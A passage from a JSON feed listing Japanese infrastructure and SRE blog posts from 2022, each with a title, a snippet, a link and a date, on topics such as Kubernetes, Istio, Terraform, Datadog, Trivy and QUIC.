./some.rpm","link":"https://blog.1q77.com/2022/11/rpm-scripts/","isoDate":"2022-11-10T23:38:02.000Z","dateMiliSeconds":1668123482000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"AWS IAM ポリシーの StringNotEquals 条件の複数値指定は AND になる","contentSnippet":"AWS IAM ポリシーの条件で同一キーに対して複数値を指定した場合，通常は OR で評価されます。例えば，以下の StringEquals 条件の例では，aws:PrincipalTag/role が audit または security のいずれかであれば true になります。\\"Condition\\": { \\"StringEquals\\": { \\"aws:PrincipalTag/role\\": [ \\"audit\\", \\"security\\" ] }}では StringNotEquals 条件にするとどうでしょうか？例えば以下のポリシーで aws:Principal...","link":"https://zenn.dev/toshikish/articles/2d9274783acbae","isoDate":"2022-11-10T08:31:56.000Z","dateMiliSeconds":1668069116000,"authorName":"toshikish","authorId":"toshikish"},{"title":"[3-shake 秋季インターンブログ] Config Connectorの検証","contentSnippet":"SRE技術の調査と研究を行う目的で2022年10月11日 ~ 24日に開催された短期インターンに参加しました。2週間という期間を使って、Google CloudのConfig Connectorについて調査を行ったので、本記事ではその調査結果をまとめます。The post [3-shake 秋季インターンブログ] Config Connectorの検証 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/config-connectortest/","isoDate":"2022-11-09T03:02:42.000Z","dateMiliSeconds":1667962962000,"authorName":"Sreake","authorId":"Sreake"},{"title":"2022年10月のふりかえり、まとめ","contentSnippet":"7年ぶりにふり返りするような気がします。これぶりですかね。blog.masasuzu.net10月は思い立って細かいことでも記録に残すようにし始めたのでサブブログの月間投稿数が増えてます。このまま続けたいところです。メインブログは相変わらず0なのでちゃんと書きたいところではあります。2022-10-01から1ヶ月間の記事一覧 - ふり返る暇なんて無いね仕事10月は端境期だったので、技術検証をメインでやってました。技術メインブログの方はどちらかというとパブリック向けに書いてます。ただ、この方針だと記事がゆるい記事が書きにくくなってきたので、サブブログを作った経緯があります。サブブログの技術記事は他の誰かのためではなく未来の自分が思い出すために書くをモットーに書いてます。なのでゆるく、細かい系のことも気軽に書いてます。分からないことは分からないと明示する。途中でも経過を残す。恥も残す。そんな感じです。以前とくらべてGoogle Cloud回りを10月はいじってた感じですね。build-in commandのmanが引けなくて困った - ふり返る暇なんて無いねt3系インスタンスのスペックについて - ふり返る暇なんて無いねGoogle Cloudの外部HTTP(S)ロードバランサと外部HTTP(S)ロードバランサ(従来型)の違いがわからなかった。 - ふり返る暇なんて無いね未解決: Google Cloud Storageの静的配信でnginxで言うところのtry_files的なことをしたかった。。。。 - ふり返る暇なんて無いねはてなブログのカテゴリごとのRSSフィード - ふり返る暇なんて無いねGitHub Actionsで save-state とset-output が廃止されるようです。 - ふり返る暇なんて無いね故障と障害の違いがわからずに困惑してた - ふり返る暇なんて無いね資格PCA取りました!11月にはPCA、KCNA、年内にCKA、CKADを取ることを目標に業務とは別に学習してます。なお、業務ではGoogle CloudもKubernetesも今のところ触る余地ないです。が、将来の投資として学習してます。近い未来で使うのが目に見えてるので。Google Cloud認定 Professional Cloud Architect合格してた - ふり返る暇なんて無いね11月末ターゲットで2個資格試験受けます - ふり返る暇なんて無いね旅土曜日の午前中に温泉入るのにはまってます。休日の早い時間に行動すると時間の有効活用ができるなとしみじみ感じてます。人生に疲れたので熱海で温泉入ってきた - ふり返る暇なんて無いね横須賀で温泉入ってきた - ふり返る暇なんて無いね江ノ島に行ってきて午前中だけで満足した - ふり返る暇なんて無いね生活寒くなりましたが、がんばります。今季初暖房使いました。 - ふり返る暇なんて無いね技術書を複数回読むということ - ふり返る暇なんて無いねワクチン4回目打った\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89 - ふり返る暇なんて無いね11月に向けてといっても11月始まってますが。11月は資格の勉強もあるし、新しい固めのお仕事も始まるので、だいぶヘビーになる予感を感じてます。寒くなる季節なので体調には気を付けつつも、引き続き温泉につかり、ブログ書くのも続けて行きたいですね。","link":"https://blog.masasuzu.net/entry/2022/11/09/082007","isoDate":"2022-11-08T23:20:07.000Z","dateMiliSeconds":1667949607000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"[3-shake 秋季インターンブログ] Trivy Operator を用いた脆弱性管理の提案","contentSnippet":"Sreake 事業部は SRE関連技術に強みを持つエンジニアによるコンサルテーションサービスを提供する事業部であり、私たちも SRE 技術の調査と研究を行う目的で2022年10月11日 ~ 24日に開催された短期インターンに参加しました。2週間という期間を使って、Trivy Operator の技術検証と運用方法の提案を行いました。本記事では、その成果をまとめたいと思います。The post [3-shake 秋季インターンブログ] Trivy Operator を用いた脆弱性管理の提案 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/trivy_operator_vulnerability/","isoDate":"2022-11-07T07:04:20.000Z","dateMiliSeconds":1667804660000,"authorName":"Sreake","authorId":"Sreake"},{"title":"/etc/hosts で wildcard や CNAME 対応させたい","contentSnippet":"macOS での話です。(macOS Ventura でも機能することを確認しました) /etc/hosts で 203.0.113.2 *.example.com みたいに wildcard に対応させたいことが稀にあります。 また、AWS の Application Load Balancer のように IP アドレスの固定され","link":"https://blog.1q77.com/2022/10/mac-etc-resolver/","isoDate":"2022-10-30T14:56:34.000Z","dateMiliSeconds":1667141794000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"[2022/10/28] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年10月28日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/whnN4hwsIYg 告知とかニュースっぽいもの Open Networking Conference Japanちょうど今日開催し...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20221028","isoDate":"2022-10-28T13:05:14.000Z","dateMiliSeconds":1666962314000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes クラスタ内ホスト名に CNAME レコードでエイリアスを付与したい","contentSnippet":"Kubernetes クラスタ内で使えるホスト名に CNAME レコード相当でエイリアスを付与したい場合を考えます。クラスタ内では CoreDNS が使われているものとします。 TL;DRCorefile（CoreDNS の設定ファイル）で rewrite プラグインを使って記述します。例えば Service のアドレスである foo.default.svc.cluster.local を foo.example.com にエイリアスしたい場合は以下のように行を追加します。apiVersion: v1kind: ConfigMapmetadata: name: cor...","link":"https://zenn.dev/toshikish/articles/7f555dbf1b4b7d","isoDate":"2022-10-28T10:45:26.000Z","dateMiliSeconds":1666953926000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Google Cloud Binary Authorization 徹底調査","contentSnippet":"Binary Authorization とは 概要 コンテナベースのアプリケーションに ソフトウェアサプライチェーンのセキュリティを提供する Google Cloud のサービスです。 補足 ソフトウェアサプライチェー […]The post Google Cloud Binary Authorization 徹底調査 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-binary-authorization/","isoDate":"2022-10-27T00:46:10.000Z","dateMiliSeconds":1666831570000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Gitlab Ci で Kaniko build し Trivy で scan する","contentSnippet":"GitLab CI でコンテナイメージを Docker daemon の不要な Kaniko で build し、それを Trivy でスキャンする方法 まず、kaniko で --tarPath を指定して tar ファイルで書き出す 書き出す先を artifacts で指定したディレクトリ","link":"https://blog.1q77.com/2022/10/gitlab-ci-kaniko-and-trivy/","isoDate":"2022-10-26T14:34:28.000Z","dateMiliSeconds":1666794868000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"PodSecurityPolicy について考えてみた","contentSnippet":"話すこと 案件で Kubernetes のセキュリティについて調べることがあったので、各レイヤで何が必要かを検討しました。 Node レイヤ・Inspector・(falco) Pod レイヤ・(falco)・セキュリテ […]The post PodSecurityPolicy について考えてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pod-security-policy/","isoDate":"2022-10-24T02:15:18.000Z","dateMiliSeconds":1666577718000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Anthos Service Mesh の Outbound Access Log を出力する","contentSnippet":"Anthos Service Mesh のアクセスログはデフォルトでは Service への Inbound しか出力されません。 エラーが発生した場合は Outbound のログも出力されます。 出力先は Cloud Logging で HTTP の情報は Load Balancer などと同様に httpRequest という Object","link":"https://blog.1q77.com/2022/10/asm-access-log/","isoDate":"2022-10-21T15:33:40.000Z","dateMiliSeconds":1666366420000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"10年ぶりに転職しました","contentSnippet":"先日まで面白法人カヤックに勤めていました。転職の経緯も書こうと思ったのですが、内面の変化や会社との関係性など多岐に渡りけっこうなボリュームになりそうだったので分けることにしました。転職のためにやったこと久しく転職活動をしておらず、ポートフォリオや職務経歴書というものがなくどこから手を付けたらいいのやらという状態で、つまりは自分の整理ができていないところからのスタートでした。また、Wantedlyの内容を充実させたことにより少しずつスカウトをいただく機会が増えました。転職活動を振り返って転職活動を始めるまでは沈んでいたこともあり、スカウトをいただいただけでも大変ありがたかったです。ありがたいことに合計17ほどスカウトをいただきました。多いのか少ないのかはわかりませんが、こんな自分にも興味を持ってくださって素直にうれしかったです。PCのキッティングやアカウント管理など日常業務をやる担当はいるコーポレート部門の社員が情シスを兼任(情シスは未経験)情シス部門を立ち上げたいカジュアル面談といいつつ、半分は相談のような面談もあり情シスで悩みを抱えている会社がたくさんあるという現状を知るきっかけにもなりました。それは、「情シス担当者を育てられる環境をつくること」です。そして、自身のチャレンジしてみたいこととニーズがマッチした会社と出会いました。転職先とこれからやっていきたいことその出会った会社というのはスリーシェイクです。SreakeやSecurify,Reckonerといったサービスの運用のお困りごとを手助けできるサービスを展開しています。スリーシェイクは現状100人に満たない規模で情シスには若手が1人います。PCキッティングやアカウント管理など日常業務で手一杯情報システム部として見たときにできていないところを強化していきたいそれをやるのに何をやっていけばいいかわからないという感じでした。最後にこれをお読みいただいた方の中には前職から筆者を知っていただいている方もいるかもしれません。あいも変わらずやっておりますので、何かあれば(もしくは何もなくても)遊びに伺います。お気軽にお声がけください。","link":"https://blog.jigyakkuma.org/2022/10/20/recruit2022/","isoDate":"2022-10-20T00:37:52.000Z","dateMiliSeconds":1666226272000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"Kubernetes で StatefulSet の Volume を resize する","contentSnippet":"Kubernetes で StatefulSet に volumeClaimTemplates を指定して Persistent Volume を使用している環境で volume のサイズを変更する方法。 素直に StatefulSet の manifest を変更して apply しようとすると次のように StatefulSet で更新可能なのは replicas, template, updateStragety だけだよとエラーに","link":"https://blog.1q77.com/2022/10/kubernetes-resize-statefulset-volume/","isoDate":"2022-10-18T13:36:49.000Z","dateMiliSeconds":1666100209000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"DNS over HTTPS 通信の中身を確認する","contentSnippet":"iPhone の HTTP(S) 通信を OWASP ZAP で覗いてみたたら 8.8.8.8, 8.8.4.4 に対して DNS over HTTPS の通信を見つけたのでどんなやり取りをしているのか確認してみた。 DNS over HTTPS でのリクエスト # リクエストは HTTP の GET メソッド","link":"https://blog.1q77.com/2022/10/iphone-dns-over-https/","isoDate":"2022-10-15T15:11:55.000Z","dateMiliSeconds":1665846715000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"apt-key is deprecated への対応","contentSnippet":"Debian 系の Linux で古いインストール手順なんかを見てコマンドをコピペしていると出くわすこのメッセージ Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)). package 署名の公開鍵の管理方法が変わったみたいです リ","link":"https://blog.1q77.com/2022/10/apt-key-is-deprecated/","isoDate":"2022-10-15T13:06:00.000Z","dateMiliSeconds":1665839160000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"iPhone の通信を覗く","contentSnippet":"先日 iPhone のアプリが https で通信している内容を覗いてみようと HTTP プロキシに OWSAP ZAP を指定して覗いてみました。 OWASP ZAP が動的に証明書を発行してくれるので、その発行元となる CA を iPhone に登","link":"https://blog.1q77.com/2022/10/iphone-packet-capture/","isoDate":"2022-10-14T13:10:09.000Z","dateMiliSeconds":1665753009000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"CDK for Terraform を理解する","contentSnippet":"はじめに 基本的な使い方をまとめてみました。 CDK for Terraform Is Now Generally Available 今回は TypeScript を使っている前提で記述するため、他の言語を利用する場合 […]The post CDK for Terraform を理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cdk-for-terraform/","isoDate":"2022-10-06T02:27:54.000Z","dateMiliSeconds":1665023274000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Istio のサービスへの接続でプロトコルエラーになる","contentSnippet":"現象Istio サービスメッシュを有効にした Kubernetes クラスタ内に立てた Service に接続しようとするも，upstream connect error or disconnect/reset before headers. reset reason: protocol error が出て到達できない。例えば，以下のような Service に gRPC で接続しようとしても失敗する。apiVersion: v1kind: Servicemetadata: name: my-servicespec: selector: app.kubern...","link":"https://zenn.dev/toshikish/articles/d0dd54ae067bed","isoDate":"2022-10-04T02:55:06.000Z","dateMiliSeconds":1664852106000,"authorName":"toshikish","authorId":"toshikish"},{"title":"CPU Resource limit に思いを馳せてみた","contentSnippet":"本日お伝えしたいこと あらゆるものが抽象化・仮想化されても、CPU やメモリの仕組みやプロトコルの性質などの計算機における基礎知識は持っておかないと調査がうまくいかない場面がある、ということです。具体的なエピソードを交え […]The post CPU Resource limit に思いを馳せてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cpu-resource-limit/","isoDate":"2022-09-27T08:03:06.000Z","dateMiliSeconds":1664265786000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SQL*Loaderで複数の文字コードが混ざったデータをロードする","contentSnippet":"SQL*Loaderで複数の文字コードが混ざったデータをロードする 概要単一のテキストファイル内で特定のカラムのみ文字コードが違うファイルをSQL*Loaderでデータベースに取り込む方法 注意本記事で扱っている対処方法はおそらく紛れ込んだ文字コードが本来あるべき文字コードの一部として解釈できない場合使用できないと思います。(未検証)最低限文字化けしながらも読み込める状態を想定しています。 結論コントロールファイル内で文字コードの変換が必要なカラムに以下の関数を適用する。column \\"CONVERT(:column, \'target_charset\', \'s...","link":"https://zenn.dev/nnaka2992/articles/load_complex_characterset_oracle","isoDate":"2022-09-25T14:48:29.000Z","dateMiliSeconds":1664117309000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"トイルを撲滅するための3つのステップ","contentSnippet":"トイルを削減できなければ、前向きな作業にかけられる時間が減るだけでなく、作業員の士気の減退やスキルアップの機会の減少などのデメリットがあります。The post トイルを撲滅するための3つのステップ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/toil-eradication-3step/","isoDate":"2022-09-14T09:34:07.000Z","dateMiliSeconds":1663148047000,"authorName":"Sreake","authorId":"Sreake"},{"title":"TiDB 入門 (tiup playground)","contentSnippet":"MySQL 互換の NewDB として最近気になっている TiDB について調査すべく、クラスタを手元で簡単にセットアップ可能な tiup playgroud コマンドを使って触ってみます。気にな…","link":"https://qiita.com/yteraoka/items/4471e548fb556ef740f4","isoDate":"2022-09-06T08:13:57.000Z","dateMiliSeconds":1662452037000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"golangで作るQUICプロトコル(HTTP3リクエストの送信と受信)","contentSnippet":"はじめに前回までの記事でQUICプロトコル上でTLS1.3のハンドシェイクが完了しました。TLS1.3のハンドシェイクが完了したということは、Application Data=HTTPとかをサーバとやり取りできるということになります。今回はサーバにHTTP3のリクエストを送り、メッセージを受信してみます。ソースは以下にあります。https://github.com/sat0ken/go-quic HTTP2とHTTP3HTTP2からストリームとフレームという仕組みが用いられて、1つのTCPコネクションがストリームとなり、ストリーム内で複数のフレームがHTTPヘッダや...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol3","isoDate":"2022-09-04T04:06:32.000Z","dateMiliSeconds":1662264392000,"authorName":"satoken","authorId":"satoken"},{"title":"[2022/09/02] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年09月2日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/r2YsmQFcv-o 告知とかニュースっぽいもの controller-runtime clientについてhttps://zenn....","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220902","isoDate":"2022-09-02T13:01:11.000Z","dateMiliSeconds":1662123671000,"authorName":"bells17","authorId":"bells17"},{"title":"Visual Studio Codeで使えるリモート環境のdevcontainerが意外と便利そうだったのでまとめ","contentSnippet":"試してたらたまたまVisual Studio Code(vscode)のdevcontainer(Remote Container)が、Remote SSH経由でリモート環境でも使えることを知ったので、devcontainer用の環境構築方法やdevcontainerの構築方法についてまとめてみた今まではローカル環境のdockerか、codespaceでしか利用できないのかなと思っていたのだけど、リモート含めて利用できるとかなり便利そうな印象だったので一通り試してみました最近はRemote SSHでリモート環境を利用するケースが多いのでリモート環境で使えないならそんなに使えないかなと...","link":"https://zenn.dev/bells17/articles/remote-ssh-devcontainer","isoDate":"2022-09-01T18:16:25.000Z","dateMiliSeconds":1662056185000,"authorName":"bells17","authorId":"bells17"},{"title":"負荷テストツール K6 について調べてみた","contentSnippet":"はじめに K6 を初めて触ってから 7-8ヶ月くらいたったので、K6 のツール周りに関する情報紹介で社内で発信した情報をまとめてみました。 k6 jslib まず、K6 には k6 jslib という K6 の拡張ツール […]The post 負荷テストツール K6 について調べてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-k6/","isoDate":"2022-09-01T02:10:07.000Z","dateMiliSeconds":1661998207000,"authorName":"Sreake","authorId":"Sreake"},{"title":"golangで作るQUICプロトコル(TLS1.3 ハンドシェイクの終了まで)","contentSnippet":"はじめに前回の記事まででInitial Packetを生成してサーバに送信しました。今回の記事はその続きとなり、サーバからのパケットをパースしてHandshake Packetを送信するところまで解説したいと思います。ソースコードは以下にあります。https://github.com/sat0ken/go-quic Retry Packetの受信→Initial Packetの送信quic-goのサーバにInitial Packetを送信すると、Retry Packetが返ってきます。このへんはサーバの実装により異なってくるのですが、quic-goはそういう実装になっ...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol2","isoDate":"2022-08-27T16:50:00.000Z","dateMiliSeconds":1661619000000,"authorName":"satoken","authorId":"satoken"},{"title":"controller-runtime clientについて","contentSnippet":"KubernetesでOperatorやControllerを開発する際に利用するフレームワークであるcontroller-runtimeのclientについて調べたのでまとめます。この記事の目的は以下のような感じになります:controller-runtimeが提供するKubernetes clientの概要についてまとめることcontroller-runtime client周りの追加の不明点などがあった場合には、この記事をベースにコードベースで調べたいことをすぐに調べられる程度にはコードレベルで詳しい内容をまとめること以下についてわかるようになること各種内部clien...","link":"https://zenn.dev/bells17/articles/controller-runtime-client","isoDate":"2022-08-27T09:30:47.000Z","dateMiliSeconds":1661592647000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るQUICプロトコル(Initial Packetの送信まで)","contentSnippet":"はじめについ最近HTTP3のRFC9114として正式に発行されました。HTTP3はQUICプロトコル上で実装されているものです。HTTP3はGoogleのTOPページなど既に日常的に使われています。業務でQUICやHTTP3でコードを書くことはまだあまりないと思いますが、まぁいずれそういう時代もくるでしょう。そういう時が来たときにあたふたするわけにはいかないので、今回はQUICとHTTP3プロトコルスタックを実装して学んでみることにします。今回のルールとゴールです。udpパケットの送信と受信にnetパッケージを使用するTLSは自分で実装したものを使用、crypto/...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol","isoDate":"2022-08-24T23:10:48.000Z","dateMiliSeconds":1661382648000,"authorName":"satoken","authorId":"satoken"},{"title":"疲弊しないSREチームを作るために必要な6つのポイント","contentSnippet":"本記事では、疲弊しないSREチームを作るために必要な6つのポイントを紹介します。SREチームをどのように形成すればよいか悩んでいる企業様は参考にしてください。The post 疲弊しないSREチームを作るために必要な6つのポイント first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/not-exhaustion-engineer/","isoDate":"2022-08-23T03:36:21.000Z","dateMiliSeconds":1661225781000,"authorName":"Sreake","authorId":"Sreake"},{"title":"リリースエンジニアリングについて理解する [デプロイ戦略]","contentSnippet":"サービスのリリースにかかるダウンタイムを減らし、安定稼働する戦略を取ることはユーザーからの満足度及び信頼度向上につながります。本記事では、SREの取り組みのひとつであるリリースエンジニアリング、そしてデプロイ戦略について解説していきます。The post リリースエンジニアリングについて理解する [デプロイ戦略] first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/release-engineer/","isoDate":"2022-08-23T03:00:00.000Z","dateMiliSeconds":1661223600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Software Design 2022年9月号にコードリーディングに関する記事を寄稿しました","link":"https://bells17.medium.com/oss-source-code-reading-29392edf80fe?source=rss-713cf42ce34d------2","isoDate":"2022-08-18T15:06:54.000Z","dateMiliSeconds":1660835214000,"authorName":"bells17","authorId":"bells17"},{"title":"アンチパターンからSREを理解する","contentSnippet":"日本国内でも、サービスの信頼性向上のためにSREに取り組む企業も増えてきました。しかし誤ったやり方で実施したがゆえに、思ったように成果が出ないと嘆く企業もあるのではないでしょうか。 そこで今回はSREのアンチパターンをも […]The post アンチパターンからSREを理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/anti-pattern-sre/","isoDate":"2022-08-17T08:47:45.000Z","dateMiliSeconds":1660726065000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Terraform state の構成の提案","contentSnippet":"動機 単一の Terraform state でリソースを構築していると、徐々にリソース数が増加し、コードの見通しが悪くなったり plan 時間が長くなったりといった問題が発生します。 単一 state で運用していたが […]The post Terraform state の構成の提案 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/terraform-state-structure/","isoDate":"2022-08-15T23:16:16.000Z","dateMiliSeconds":1660605376000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Graceful Node Shutdown で Terminated 状態で残る Pod を削除する cronjob","contentSnippet":"GKE (GKE 限定な話ではないけれども) で Preemptible な node を使用していると Graceful Node Shutdown により停止させられた Pod が Failed 状態でどんどん溜まっていって結構邪魔です。 できれば消えて欲しい。 ということ","link":"https://blog.1q77.com/2022/08/delete-failed-pod-periodically/","isoDate":"2022-08-12T12:19:57.000Z","dateMiliSeconds":1660306797000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"envoy-sidecar-helper で Job の終了後に istio-proxy を停止させる","contentSnippet":"Istio を導入した環境で Job (CronJob) を実行すると、sidecar としての istio-proxy コンテナを Job 本来の処理が終わった後に istio-proxy コンテナを終了させないといつまで経っても Pod が終了しないという課","link":"https://blog.1q77.com/2022/08/stop-istio-proxy-using-envoy-sidecar-helper/","isoDate":"2022-08-12T11:51:14.000Z","dateMiliSeconds":1660305074000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GKE Service の NEG を Terraform で作成する","contentSnippet":"GKE の Ingress で Load Balancer を作成すると、同一 namespace 内の Service にしか振り分けられないとか、単一の Cluster でしか使えないとか不都合な場合があります。その場合 Load Balancer 関連のリソースは Terraform で作成したくな","link":"https://blog.1q77.com/2022/08/create-gke-service-neg-using-terraform/","isoDate":"2022-08-09T11:13:48.000Z","dateMiliSeconds":1660043628000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"[2022/07/015] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年07月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/ar1_fxX601E 告知とかニュースっぽいもの 『Linuxで動かしながら学ぶTCP/IPネットワーク入門』でネットワークの勉強をし...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220715","isoDate":"2022-07-15T07:31:08.000Z","dateMiliSeconds":1657870268000,"authorName":"bells17","authorId":"bells17"},{"title":"ブログを久しぶりにリニューアル","contentSnippet":"どうも、ご無沙汰しておりました。Hugo Themeの変更ブログのホスティングをGAEからCloudflare Pagesに移行記事の管理をbitbucketからGitHubに移行Google Analyticsの対応記事内の手入れHugo Themeの変更どこから手を付けようかなと整理したところ、今まで使っていたThemeがmarkdown記法に対応していなかったというのもあって見た目のところから変えることにした。hugo-theme-stackこのThemeは見た目がすっきりでコンテンツが並べやすそうだったので選びました。今回はフロント自体はさっくり終わらせたかったのでなるたけシンプルなものにしています。ホスティングをGAEからCloudflare Pagesに移行GAEにした経緯はこちらに書いてあるのですが、もともとGCSでホスティングしていたのをhttps化できればよかったんですが、ロードバランサーを置くとお金がかかりそうだなということでGAEに移行していました。AWS AmplifyCloudflare PagesGitHub PagesちなみにこれらはJAMstackホスティングに類するサービスです。各サービスは無料枠、もしくはローコストで運用できるという魅力もあるためどれもよさそうでしたが今まで使ったことがないという理由でCloudflareを使ってみることにしました。Cloudflare Pagesではリポジトリとブランチを指定するだけですぐにエンドポイントを払い出してくれるので5分とかからずに初期設定が完了できました。また、Cloudflare Pagesは静的ジェネレーターを使用する前提になっているので、Build configrationsで普段使っているFrameworkを選択してあげるだけでOKです。リポジトリをBitbucketからGitHubに移行ブログ記事の管理は長らくBitbucketを利用していたのですが、ブログを書き始めた当時は無償でプライベートリポジトリを使えるのがBitbucketしかなかったからでした。いい感じにcloneしていい感じにpushするとできそうだなというのはわかっていたので以下を参考にしつつ移行しました。How to migrate from Bitbucket to GitHubGoogle Analyticsの対応ここまできてようやくリニューアルの当初の本題なんですが、hugo-theme-stackはGA4に対応しているようなのでconfigにGA4の測定IDをセッティングすればそれだけでOKでした。googleanalytics = your measurementID記事内の手入れ最後が何気に大変だったのですが、書き溜めていた記事の記法が統一されていなかったり目立つところがいくつかあったのでついでにやってしまいました。lists記法の統一画像がlocalだったりGoogle Driveにホスティングしてたりしたのをlocalに統一shortcodeを整えるあとはフォントがデフォルトだと日本語ではないのでReferenceを見ながらlayoutを追加。Custom font family for article content最初はGA4対応どうするかな〜から始まったブログリニューアルでしたが、こまめに手入れしていればこんな大掛かりにならずに済みましたね…ブログの運用自体がsandboxというところもあるので、これを機に年単位でガッとやらずに小さい単位でやっていきたい所存です。","link":"https://blog.jigyakkuma.org/2022/07/14/blog-renewal2022/","isoDate":"2022-07-14T12:53:20.000Z","dateMiliSeconds":1657803200000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"【Codezine掲載】SREは運用チームだけの問題？ 開発者のメリットをGoogle\xd7スリーシェイクがプラクティスとともに解説！","contentSnippet":"「デベロッパーの成長と課題解決に貢献するメディア」をコンセプトに情報発信を行うソフトウェア開発者向けWebメディア「Codezine」に、Srekae事業部部長手塚の対談記事が掲載されました。The post 【Codezine掲載】SREは運用チームだけの問題？ 開発者のメリットをGoogle\xd7スリーシェイクがプラクティスとともに解説！ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/codezine_sre_google/","isoDate":"2022-07-07T06:46:00.000Z","dateMiliSeconds":1657176360000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[2022/07/01] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年07月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/R7VHtaBZFkQ 告知とかニュースっぽいもの Kubernetes Novice Tokyo #20にてKueueのセッションを行...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220701","isoDate":"2022-07-01T11:14:01.000Z","dateMiliSeconds":1656674041000,"authorName":"bells17","authorId":"bells17"},{"title":"Datadogのログ管理コストをフィルター機能で削減をする","contentSnippet":"今回は、Datadogの料金体系に関するお話と、実際の案件で発生したコスト削減の対応を行ったお話をご紹介していきたいと思います。The post Datadogのログ管理コストをフィルター機能で削減をする first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog_cost_filter/","isoDate":"2022-06-28T03:04:27.000Z","dateMiliSeconds":1656385467000,"authorName":"Sreake","authorId":"Sreake"},{"title":"S3にアーカイブしたDatadogのログを復元する","contentSnippet":"Datadogのログにまつわるお話を紹介させていただきます！今回はアーカイブされたログをDatadogで見たい場合どのように復元していくのかについてご紹介しますThe post S3にアーカイブしたDatadogのログを復元する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/s3_datadog_log/","isoDate":"2022-06-28T03:04:23.000Z","dateMiliSeconds":1656385463000,"authorName":"Sreake","authorId":"Sreake"},{"title":"インフラコードのテストツール Terratest を触ってみた","contentSnippet":"Terratest の概要 公式HP:\xa0https://terratest.gruntwork.io/ Githubリポジトリ:\xa0https://github.com/gruntwork-io/ter […]The post インフラコードのテストツール Terratest を触ってみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-terratest/","isoDate":"2022-06-27T00:43:53.000Z","dateMiliSeconds":1656290633000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWS SAP 合格体験記 2022/06","contentSnippet":"はじめにネットで公開されている数々のAWS Certified Solutions Architect - 